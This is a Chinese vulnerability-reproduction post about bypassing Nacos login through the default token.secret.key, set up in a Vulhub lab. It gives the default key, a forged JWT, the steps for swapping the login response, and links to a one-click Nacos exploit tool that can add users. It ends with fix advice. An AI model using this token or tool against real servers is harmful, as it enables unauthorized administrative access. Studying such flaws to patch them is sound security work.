Nacos身份认证权限绕过+漏洞利用工具分享

目录

一 JWT

JWT:

JWT的使用场景:

JWT构造:

二 漏洞描述:

三 环境搭建

四 漏洞复现

五 工具漏洞复现

六 修复建议

七 工具分享


本文由掌控安全学院 - 小博  投稿

一 JWT

JWT:

JSON Web Token (JWT)是一个开放标准(RFC 7519),它定义了一种紧凑的、自包含的方式,用于作为JSON对象在各方之间安全地传输信息。该信息可以被验证和信任,因为它是数字签名的。
在线解密查看内容:

 
  1. https://jwt.io/

JWT的使用场景:

1.Authorization(授权): 这是使用JWT的最常见场景。一旦用户登录,后续每个请求都将包含JWT,允许用户访问该令牌允许的路由、服务和资源。单点登录是现在广泛使用的JWT的一个特性,因为它的开销很小,并且可以轻松地跨域使用。

2.Exchange (信息交换):对于安全的在各方之间传输信息而言,JSON Web Tokens无疑是一种很好的方式。因为JWT可以被签名,例如,用公钥/私钥对,你可以确定发送人就是它们所说的那个人。另外,由于签名是使用头和有效负载计算的,您还可以验证内容没有被篡改。

JWT构造:

JSON Web Token由三部分组成,它们之间用圆点连接。
这三部分分别是:

 
  1. Header

  2. Payload

  3. Signature

Header由两部分组成:
1.token的类型(JWT)
2.算法名称(比如: HMACSHA256或者RSA等等)

Payload:
声明是关于实体(通常是用户)和其他数据的声明。
声明有三种类型: registered, public 和 private。

Signature:
为了得到签名部分,你必须有编码过的header、编码过的payload、一个秘钥,签名算法是header中指定的那个,然对它们签名即可。

图片

二 漏洞描述:

开源服务管理平台Nacos在默认配置下未对token.secret.key进行修改,导致远程攻击者可以绕过密钥认证进入后台,造成系统受控等后果。

三 环境搭建

 
  1. 搭建地址:

  2. https://vulhub.org/#/docs/install-docker-one-click/

1.虚拟机安装一个kali,按照搭建地址上面的步骤一步一步安装docker容器,再把Vulhub下载到里面

图片


2.安装完成后,来到nacos的cve的文件夹下面,运行命令行搭建环境

 
  1. docker-compose up -d

图片


3.这样就可以搭建一个环境,在访问你的 http://你的环境ip:8848

图片

4.移除环境

 
  1. docker-compose down

图片


5.同样的Vulhub里面集合了很多漏洞的环境,都应该使用上面的步骤进行搭建环境去复现

图片

四 漏洞复现

1.在nacos中,token.secret.key值是固定死的,位置在conf下的application.properties中
默认的key:
SecretKey012345678901234567890123456789012345678901234567890123456789

2.利用该默认 key可进行jwt构造,直接进入后台。
构造方法: 在https://jwt.io/ 中
payload设置
(1703214491是unix时间戳,设置这个参数的时候要比你系统当前的时间更晚):

 
  1. {

  2. "sub": "nacos",

  3. "exp": 1703214491

  4. }

把key输入到jwt的Signature当中

图片

3.得到jwt密文,复制加密的jwt

 
  1. eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcwMzIxNDQ5MX0.OnuuwTKWB7_NaZFEYtTMbwbsiJAXGwteeyYh10sLz4w

4.复制上面得到的值,抓包修改包,添加Authorization值,发送到nacos,获取到登录成功的带有token的响应包

图片

5.在登陆页面随机输入任意账号密码去登陆,修改响应包为登录成功带有token的响应包

图片

图片

图片

6.成功绕过登录到后台页面

图片

五 工具漏洞复现

1.这款NacosExploitGUI_v3.9.jar非常简单好用,一键检测漏洞利用。
支持了六种nacos漏洞检测:

 
  1. Nacos控制台默认口令漏洞(nacos,nacos)

  2. Nacos token.secret.key默认配置(QVD-2023-6271)

  3. Nacos-client Yaml反序列化漏洞

  4. Nacos Derby SQL注入漏洞 (CNVD-2020-67618)

  5. Nacos未授权访问漏洞(CVE-2021-29441)

  6. Nacos Jraft Hessian反序列化漏洞(QVD-2023-13065)

图片

图片

2.可以利用存在的漏洞,任意添加用户

图片

六 修复建议

 
  1. 1.自行修改key

  2. 2.更新到最新版本

七 工具分享

 
  1. Nacos工具

  2. https://www.alipan.com/s/iVNZyoz3uWf

  3. 提取码: 59ew

 
  1. 工具地址

  2. https://github.com/charonlight/NacosExploitGUI

申明:本文所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/313186.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【JAVA】实验一 从面向过程到面向对象

实验名称 实验一 从面向过程到面向对象 实验目的 1. 掌握Java语言简单数据类型、表达式、输入输出; 2. 理解Java类中main方法的编写及过程化编程; 3. 掌握Java数组的使用。 实验内容 1. 输入年份,判断是否是闰年。闰年…

看懂基本的电路原理图(入门)

文章目录 前言一、二极管二、电容三、接地一般符号四、晶体振荡器五、各种符号的含义六、查看原理图的顺序总结 前言 电子入门,怎么看原理图,各个图标都代表什么含义,今天好好来汇总一下。 就比如这个电路原理图来说,各个符号都…

【Linux C | 文件I/O】文件数据的同步 | sysc、fsync 和 fdatasync 函数

😁博客主页😁:🚀https://blog.csdn.net/wkd_007🚀 🤑博客内容🤑:🍭嵌入式开发、Linux、C语言、C、数据结构、音视频🍭 🤣本文内容🤣&a…

[每周一更]-(第47期):Go业务发展方向

Go业务方向 Go(也称为Golang)是一种开源编程语言,具有简洁、高效和并发性等特点,逐渐在业界流行起来。Go语言在不同领域有着广泛的应用, 下面列举了一些Go语言的业务发展方向: Web开发:Go语言…

jumpServer-01-跳板机与堡垒机

jumpServer-01-跳板机与堡垒机 文章目录 jumpServer-01-跳板机与堡垒机一、为什么需要跳板机?二、堡垒机的核心价值三、跳板机与堡垒机的区别四、堡垒机的核心作用与价值 一、为什么需要跳板机? 跳板机(Jump Server)是一种安全设备…

【小白专用】winform启动界面+登录窗口 更新2024.1.1

需求场景:先展示启动界面,然后打开登录界面,如果登录成功就跳转到主界面 首先在程序的入口路径加载启动界面,使用ShowDialog显示界面, 然后在启动界面中添加定时器,来实现显示一段时间的效果,等…

2023-12-30 AIGC-LangChain介绍

摘要: 2023-12-30 AIGC-LangChain介绍 LangChain介绍 1. https://youtu.be/Ix9WIZpArm0?t353 2. https://www.freecodecamp.org/news/langchain-how-to-create-custom-knowledge-chatbots/ 3. https://www.pinecone.io/learn/langchain-conversational-memory/ 4. https://de…

VSCode安装配置使用教程(最新版超详细保姆级含插件)一文就够了

前言 Visual Studio Code 是一个轻量级功能强大的源代码编辑器,支持语法高亮、代码自动补全(又称 IntelliSense)、代码重构、查看定义功能,并且内置了命令行工具和 Git 版本控制系统。适用于 Windows、macOS 和 Linux。它内置了对…

HLS 2017.4 导出 RTL 报错:ERROR: [IMPL 213-28] Failed to generate IP.

软件版本:HLS 2017.4 在使用 HLS 导出 RTL 的过程中产生如下错误: 参考 Xilinx 解决方案:https://support.xilinx.com/s/article/76960?languageen_US 问题描述 DESCRIPTION As of January 1st 2022, the export_ip command used by Vivad…

Spring Cloud各个微服务之间为什么要用http交互?难道不慢吗?

解答 1、为什么要使用http交互? 通用、跨语言支持 HTTP是一种非常通用的协议,几乎所有的编程语言和平台都支持它, 这使得微服务可以使用不同的技术栈,只要它们都支持HTTP协议就可以进行通信。 简单、灵活、了扩展 HTTP协议相…

JMeter使用

目录 启动JMeter 创建线程组 设置线程参数 设置http请求参数 ​编辑 创建查看结果树(显示成功/失败多少以及返回结果等信息) 创建聚合报告(显示响应时间、吞吐量、异常数等信息) 点击上方的执行按钮即可开始压力测试 结果树显示 聚合报告结果显示 启动JMeter 在JMete…

五分钟带你了解vue组件

当我们使用 vue 进行开发的时候,一定会学到一个概念,叫做组件。我们一般会将 Vue 组件定义在一个文件后缀名为 .vue 的文件中,这就叫做单文件组件 (简称 SFC) 使用组件的概念的好处也很简单。 首先,我们可以将一个很复杂的页面拆分…